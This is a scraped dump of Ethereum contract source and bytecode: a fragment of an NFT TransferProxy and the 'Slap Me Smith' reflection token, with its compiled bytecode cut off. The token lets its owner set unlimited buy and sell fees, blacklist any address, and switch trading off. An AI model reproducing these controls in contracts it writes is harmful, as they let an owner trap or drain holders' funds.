external returns (bool); } contract TransferProxy { event operatorChanged(address indexed from, address indexed to); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address public owner; address public operator; constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } modifier onlyOperator() { require(operator == msg.sender, "OperatorRole: caller does not have the Operator role"); _; } /** change the OperatorRole from contract creator address to trade contractaddress @param _operator :trade address */ function changeOperator(address _operator) external onlyOwner returns(bool) { require(_operator != address(0), "Operator: new operator is the zero address"); operator = _operator; emit operatorChanged(address(0),operator); return true; } /** change the Ownership from current owner to newOwner address @param newOwner : newOwner address */ function transferOwnership(address newOwner) external onlyOwner returns(bool){ require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; return true; } function erc721mint(IERC721 token, address from, string memory tokenURI, address[] memory royalty, uint256[] memory royaltyFee) external onlyOperator { token.createCollectible(from, tokenURI, royalty, royaltyFee); } function erc1155mint(IERC1155 token, address from, string memory tokenURI, address[] memory royalty, uint256[] memory royaltyFee, uint256 supply) external onlyOperator { token.mint(from, tokenURI, supply, royalty, royaltyFee); } function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external onlyOperator { token.safeTransferFrom(from, to, tokenId); } function erc721mintAndTransfer(IERC721 token, address from, address to, address[] memory _royaltyAddress, uint256[] memory _royaltyfee, string memory tokenURI, bytes calldata data) external onlyOperator { token.mintAndTransfer(from, to, _royaltyAddress, _royaltyfee, tokenURI,data); } function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 tokenId, uint256 value, bytes calldata data) external onlyOperator { token.safeTransferFrom(from, to, tokenId, value, data); } function erc1155mintAndTransfer(IERC1155 token, address from, address to, address[] memory _royaltyAddress, uint256[] memory _royaltyfee , uint256 supply, string memory tokenURI, uint256 qty, bytes calldata data) external onlyOperator { token.mintAndTransfer(from, to, _royaltyAddress, _royaltyfee, supply, tokenURI, qty,data); } function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator { require(token.transferFrom(from, to, value), "failure while transferring"); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b1461013c5780639c1c2ee91461014f578063b12c32f114610162578063dbe535b914610175578063f2fde38b14610188578063f709b9061461019b57600080fd5b806306394c9b146100ae578063090621f3146100d6578063570ca735146100eb5780636323a6ea14610116578063776062c314610129575b600080fd5b6100c16100bc366004610a79565b6101ae565b60405190151581526020015b60405180910390f35b6100e96100e4366004610c41565b6102c9565b005b6001546100fe906001600160a01b031681565b6040516001600160a01b0390911681526020016100cd565b6100e9610124366004610e38565b610361565b6100e9610137366004610cf3565b610417565b6000546100fe906001600160a01b031681565b6100e961015d366004610bb4565b61051d565b6100e9610170366004610d43565b6105b8565b6100e9610183366004610abc565b610677565b6100c1610196366004610a79565b61072f565b6100e96101a9366004610e23565b61084d565b600080546001600160a01b0316331461020e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b0382166102775760405162461bcd60e51b815260206004820152602a60248201527f4f70657261746f723a206e6577206f70657261746f7220697320746865207a65604482015269726f206164647265737360b01b6064820152608401610205565b600180546001600160a01b0319166001600160a01b0384169081179091556040516000907f1a377613c0f1788c756a416e15f930cf9e84c3a5e808fa2f00b5a18a91a7b864908290a35060015b919050565b6001546001600160a01b031633146102f35760405162461bcd60e51b8152600401610205906111c7565b604051630b06c97160e01b81526001600160a01b03871690630b06c971906103279088908890869089908990600401611177565b600060405180830381600087803b15801561034157600080fd5b505af1158015610355573d6000803e3d6000fd5b50505050505050505050565b6001546001600160a01b0316331461038b5760405162461bcd60e51b8152600401610205906111c7565b604051634df61a4f60e11b81526001600160a01b03861690639bec349e906103bd908790879087908790600401611122565b602060405180830381600087803b1580156103d757600080fd5b505af11580156103eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061040f9190610ee2565b505050505050565b6001546001600160a01b031633146104415760405162461bcd60e51b8152600401610205906111c7565b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd90606401602060405180830381600087803b15801561049357600080fd5b505af11580156104a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104cb9190610a9c565b6105175760405162461bcd60e51b815260206004820152601a60248201527f6661696c757265207768696c65207472616e7366657272696e670000000000006044820152606401610205565b50505050565b6001546001600160a01b031633146105475760405162461bcd60e51b8152600401610205906111c7565b604051637921219560e11b81526001600160a01b0388169063f242432a9061057d908990899089908990899089906004016110db565b600060405180830381600087803b15801561059757600080fd5b505af11580156105ab573d6000803e3d6000fd5b5050505050505050505050565b6001546001600160a01b031633146105e25760405162461bcd60e51b8152600401610205906111c7565b604051637b86a72760e11b81526001600160a01b0389169063f70d4e4e9061061a908a908a908a908a908a908a908a90600401610fe0565b602060405180830381600087803b15801561063457600080fd5b505af1158015610648573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066c9190610ee2565b505050505050505050565b6001546001600160a01b031633146106a15760405162461bcd60e51b8152600401610205906111c7565b6040516312f425c960e21b81526001600160a01b038b1690634bd09724906106dd908c908c908c908c908c908c908c908c908c90600401611055565b602060405180830381600087803b1580156106f757600080fd5b505af115801561070b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ab9190610ee2565b600080546001600160a01b0316331461078a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610205565b6001600160a01b0382166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610205565b600080546040516001600160a01b03808616939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a350600080546001600160a01b0383166001600160a01b03199091161790556001919050565b6001546001600160a01b031633146108775760405162461bcd60e51b8152600401610205906111c7565b604051632142170760e11b81526001600160a01b0384811660048301528381166024830152604482018390528516906342842e0e90606401600060405180830381600087803b1580156108c957600080fd5b505af11580156108dd573d6000803e3d6000fd5b5050505050505050565b80356102c481611286565b600082601f830112610902578081fd5b813560206109176109128361124c565b61121b565b80838252828201915082860187848660051b8901011115610936578586fd5b855b8581101561095d57813561094b81611286565b84529284019290840190600101610938565b5090979650505050505050565b600082601f83011261097a578081fd5b8135602061098a6109128361124c565b80838252828201915082860187848660051b89010111156109a9578586fd5b855b8581101561095d578135845292840192908401906001016109ab565b60008083601f8401126109d8578182fd5b50813567ffffffffffffffff8111156109ef578182fd5b602083019150836020828501011115610a0757600080fd5b9250929050565b600082601f830112610a1e578081fd5b813567ffffffffffffffff811115610a3857610a38611270565b610a4b601f8201601f191660200161121b565b818152846020838601011115610a5f578283fd5b816020850160208301379081016020019190915292915050565b600060208284031215610a8a578081fd5b8135610a9581611286565b9392505050565b600060208284031215610aad578081fd5b81518015158114610a95578182fd5b6000806000806000806000806000806101208b8d031215610adb578586fd5b610ae48b6108e7565b9950610af260208c016108e7565b9850610b0060408c016108e7565b975060608b013567ffffffffffffffff80821115610b1c578788fd5b610b288e838f016108f2565b985060808d0135915080821115610b3d578788fd5b610b498e838f0161096a565b975060a08d0135965060c08d0135915080821115610b65578586fd5b610b718e838f01610a0e565b955060e08d013594506101008d0135915080821115610b8e578384fd5b50610b9b8d828e016109c7565b915080935050809150509295989b9194979a5092959850565b600080600080600080600060c0888a031215610bce578283fd5b8735610bd981611286565b96506020880135610be981611286565b95506040880135610bf981611286565b9450606088013593506080880135925060a088013567ffffffffffffffff811115610c22578283fd5b610c2e8a828b016109c7565b989b979a50959850939692959293505050565b60008060008060008060c08789031215610c59578182fd5b8635610c6481611286565b95506020870135610c7481611286565b9450604087013567ffffffffffffffff80821115610c90578384fd5b610c9c8a838b01610a0e565b95506060890135915080821115610cb1578384fd5b610cbd8a838b016108f2565b94506080890135915080821115610cd2578384fd5b50610cdf89828a0161096a565b92505060a087013590509295509295509295565b60008060008060808587031215610d08578081fd5b8435610d1381611286565b93506020850135610d2381611286565b92506040850135610d3381611286565b9396929550929360600135925050565b60008060008060008060008060e0898b031215610d5e578182fd5b610d67896108e7565b9750610d7560208a016108e7565b9650610d8360408a016108e7565b9550606089013567ffffffffffffffff80821115610d9f578384fd5b610dab8c838d016108f2565b965060808b0135915080821115610dc0578384fd5b610dcc8c838d0161096a565b955060a08b0135915080821115610de1578384fd5b610ded8c838d01610a0e565b945060c08b0135915080821115610e02578384fd5b50610e0f8b828c016109c7565b999c989b5096995094979396929594505050565b60008060008060808587031215610d08578182fd5b600080600080600060a08688031215610e4f578283fd5b8535610e5a81611286565b94506020860135610e6a81611286565b9350604086013567ffffffffffffffff80821115610e86578485fd5b610e9289838a01610a0e565b94506060880135915080821115610ea7578283fd5b610eb389838a016108f2565b93506080880135915080821115610ec8578283fd5b50610ed58882890161096a565b9150509295509295909350565b600060208284031215610ef3578081fd5b5051919050565b6000815180845260208085019450808401835b83811015610f325781516001600160a01b031687529582019590820190600101610f0d565b509495945050505050565b6000815180845260208085019450808401835b83811015610f3257815187529582019590820190600101610f50565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b60008151808452815b81811015610fba57602081850181015186830182015201610f9e565b81811115610fcb5782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b0388811682528716602082015260c06040820181905260009061100c90830188610efa565b828103606084015261101e8188610f3d565b905082810360808401526110328187610f95565b905082810360a0840152611047818587610f6c565b9a9950505050505050505050565b6001600160a01b038a8116825289166020820152610100604082018190526000906110828382018b610efa565b90508281036060840152611096818a610f3d565b905087608084015282810360a08401526110b08188610f95565b90508560c084015282810360e08401526110cb818587610f6c565b9c9b505050505050505050505050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a0608082018190526000906111169083018486610f6c565b98975050505050505050565b6001600160a01b038516815260806020820181905260009061114690830186610f95565b82810360408401526111588186610efa565b9050828103606084015261116c8185610f3d565b979650505050505050565b6001600160a01b038616815260a06020820181905260009061119b90830187610f95565b85604084015282810360608401526111b38186610efa565b905082810360808401526111168185610f3d565b60208082526034908201527f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861604082015273766520746865204f70657261746f7220726f6c6560601b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff8111828210171561124457611244611270565b604052919050565b600067ffffffffffffffff82111561126657611266611270565b5060051b60200190565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461129b57600080fd5b5056fea2646970667358221220fbbf320069b65d77ff516aab6eeff7bc914b008f01f09291f2882551113f71bb64736f6c63430008040033
[ 5 ]
0xf32dadc4f3eb42f1ffb15ccb5821572bedd66ebe
/** *Submitted for verification at Etherscan.io on 2022-03-29 */ /* SLAP ME SMITH Telegram: https://t.me/slapmesmith Twitter: https://twitter.com/slapmesmith */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SLAPMESMITH is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "Slap Me Smith";////////////////////////// string private constant _symbol = "SMS";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 10;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 12;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xFF57bc8B86a14625B83FB31dEf60259A5847384a);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0xFF57bc8B86a14625B83FB31dEf60259A5847384a);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000 * 10**9; //2% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051e578063dd62ed3e1461053e578063ea1644d514610584578063f2fde38b146105a457600080fd5b8063a2a957bb14610499578063a9059cbb146104b9578063bfd79284146104d9578063c3c8cd801461050957600080fd5b80638f70ccf7116100d15780638f70ccf7146104175780638f9a55c01461043757806395d89b411461044d57806398a5c3151461047957600080fd5b806374010ece146103c35780637d1db4a5146103e35780638da5cb5b146103f957600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103595780636fc3eaec1461037957806370a082311461038e578063715018a6146103ae57600080fd5b8063313ce567146102fd57806349bd5a5e146103195780636b9990531461033957600080fd5b80631694505e116101a05780631694505e1461026b57806318160ddd146102a357806323b872dd146102c75780632fd689e3146102e757600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023b57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae8565b6105c4565b005b3480156101ff57600080fd5b5060408051808201909152600d81526c0a6d8c2e0409aca40a6dad2e8d609b1b60208201525b6040516102329190611c12565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611a3e565b610671565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b50662386f26fc100005b604051908152602001610232565b3480156102d357600080fd5b5061025b6102e23660046119fe565b610688565b3480156102f357600080fd5b506102b960185481565b34801561030957600080fd5b5060405160098152602001610232565b34801561032557600080fd5b5060155461028b906001600160a01b031681565b34801561034557600080fd5b506101f161035436600461198e565b6106f1565b34801561036557600080fd5b506101f1610374366004611baf565b61073c565b34801561038557600080fd5b506101f1610784565b34801561039a57600080fd5b506102b96103a936600461198e565b6107cf565b3480156103ba57600080fd5b506101f16107f1565b3480156103cf57600080fd5b506101f16103de366004611bc9565b610865565b3480156103ef57600080fd5b506102b960165481565b34801561040557600080fd5b506000546001600160a01b031661028b565b34801561042357600080fd5b506101f1610432366004611baf565b610894565b34801561044357600080fd5b506102b960175481565b34801561045957600080fd5b50604080518082019091526003815262534d5360e81b6020820152610225565b34801561048557600080fd5b506101f1610494366004611bc9565b6108dc565b3480156104a557600080fd5b506101f16104b4366004611be1565b61090b565b3480156104c557600080fd5b5061025b6104d4366004611a3e565b610949565b3480156104e557600080fd5b5061025b6104f436600461198e565b60106020526000908152604090205460ff1681565b34801561051557600080fd5b506101f1610956565b34801561052a57600080fd5b506101f1610539366004611a69565b6109aa565b34801561054a57600080fd5b506102b96105593660046119c6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059057600080fd5b506101f161059f366004611bc9565b610a59565b3480156105b057600080fd5b506101f16105bf36600461198e565b610a88565b6000546001600160a01b031633146105f75760405162461bcd60e51b81526004016105ee90611c65565b60405180910390fd5b60005b815181101561066d5760016010600084848151811061062957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066581611d78565b9150506105fa565b5050565b600061067e338484610b72565b5060015b92915050565b6000610695848484610c96565b6106e784336106e285604051806060016040528060288152602001611dd5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d2565b610b72565b5060019392505050565b6000546001600160a01b0316331461071b5760405162461bcd60e51b81526004016105ee90611c65565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107665760405162461bcd60e51b81526004016105ee90611c65565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b957506013546001600160a01b0316336001600160a01b0316145b6107c257600080fd5b476107cc8161120c565b50565b6001600160a01b03811660009081526002602052604081205461068290611291565b6000546001600160a01b0316331461081b5760405162461bcd60e51b81526004016105ee90611c65565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088f5760405162461bcd60e51b81526004016105ee90611c65565b601655565b6000546001600160a01b031633146108be5760405162461bcd60e51b81526004016105ee90611c65565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109065760405162461bcd60e51b81526004016105ee90611c65565b601855565b6000546001600160a01b031633146109355760405162461bcd60e51b81526004016105ee90611c65565b600893909355600a91909155600955600b55565b600061067e338484610c96565b6012546001600160a01b0316336001600160a01b0316148061098b57506013546001600160a01b0316336001600160a01b0316145b61099457600080fd5b600061099f306107cf565b90506107cc81611315565b6000546001600160a01b031633146109d45760405162461bcd60e51b81526004016105ee90611c65565b60005b82811015610a53578160056000868685818110610a0457634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a19919061198e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4b81611d78565b9150506109d7565b50505050565b6000546001600160a01b03163314610a835760405162461bcd60e51b81526004016105ee90611c65565b601755565b6000546001600160a01b03163314610ab25760405162461bcd60e51b81526004016105ee90611c65565b6001600160a01b038116610b175760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ee565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ee565b6001600160a01b038216610c355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ee565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ee565b6001600160a01b038216610d5c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ee565b60008111610dbe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ee565b6000546001600160a01b03848116911614801590610dea57506000546001600160a01b03838116911614155b156110cb57601554600160a01b900460ff16610e83576000546001600160a01b03848116911614610e835760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ee565b601654811115610ed55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ee565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1757506001